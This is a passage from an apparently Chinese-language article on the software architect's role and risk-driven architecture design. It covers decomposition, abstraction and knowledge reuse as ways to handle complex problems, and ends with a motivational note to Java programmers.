服务质量保证。架构的角色篇虽然对于软件架构的技术有很多研究、发展、创新,但对于架构师这个角色却缺少经验,例如对于公司是否需要专职架构师有多种不同意见。很多公司的架构师实际上是开发经理或者研发总监担当,因为架构师直接带领团队,因此架构演化执行的效率高。但是也有很多公司(例如微软)的架构师是一个IC角色,换句话说他们需要靠自己的影响力推动架构演化和升级,而开发经理更加直接面对业务需求,这个时候短期业务开发和架构长期演化需要在不同的角色中达到平衡。这种不同实践的核心问题是“对定一个系统,需要多少专门的架构设计工作?”一个关键问题是,如果一个项目没有太多的设计风险,说明架构在一个好的状态,不需要太多的架构工作;如果一个系统的设计风险很大,每一个业务实现都需要过多的考虑设计风险,那么说明这个项目的架构需要大力投入了。这就是风险驱动的架构设计。架构师如何处理复杂问题架构师在面对复杂问题时,像很多人一样,首先收集足够多的数据,将问题描述清楚,抽象来说,架构师处理复杂问题的三种基本方法:分解(分而治之)、抽象(大象无形)、知识库(见多识广)。分解通常是按照一定的角度对系统进行拆分,角度通常是按照业务、功能和团队等方式来做。举例来说,如果是国内和国外的合作项目,尽量会选择没有减少依赖的方式来拆分和项目管理。分解之后的联系通常使用简单、可靠的接口来定义,包括SLA等。 抽象是屏蔽了细节的一种方式,就像大象无形,很多人真正把架构问题想透以后,抽象到最简单和基本的问题,就容易推动架构的演化。举一个例子,飞机是非常复杂的,但是如果将飞机制造抽象成物理部件系统、空调系统、机电系统、光电系统,等等,那么理解起来的难度就会降低很多。 利用知识库也是架构师重要的技能,利用互联网快速找到相关的信息,多学习学习别人走过的路,踩过的坑。早年的软件工程所强调的领域工程,也是希望通过工程化的方式,把已经有的行业知识积累起来,为他人所用。 目标已经有了,下面就看行动了!记住:学习永远是自己的事情,你不学时间也不会多,你学了有时候却能够使用自己学到的知识换得更多自由自在的美好时光!时间是生命的基本组成部分,也是万物存在的根本尺度,我们的时间在那里我们的生活就在那里!我们价值也将在那里提升或消弭!Java程序员,加油吧
总条数:1132 到第
上滑加载中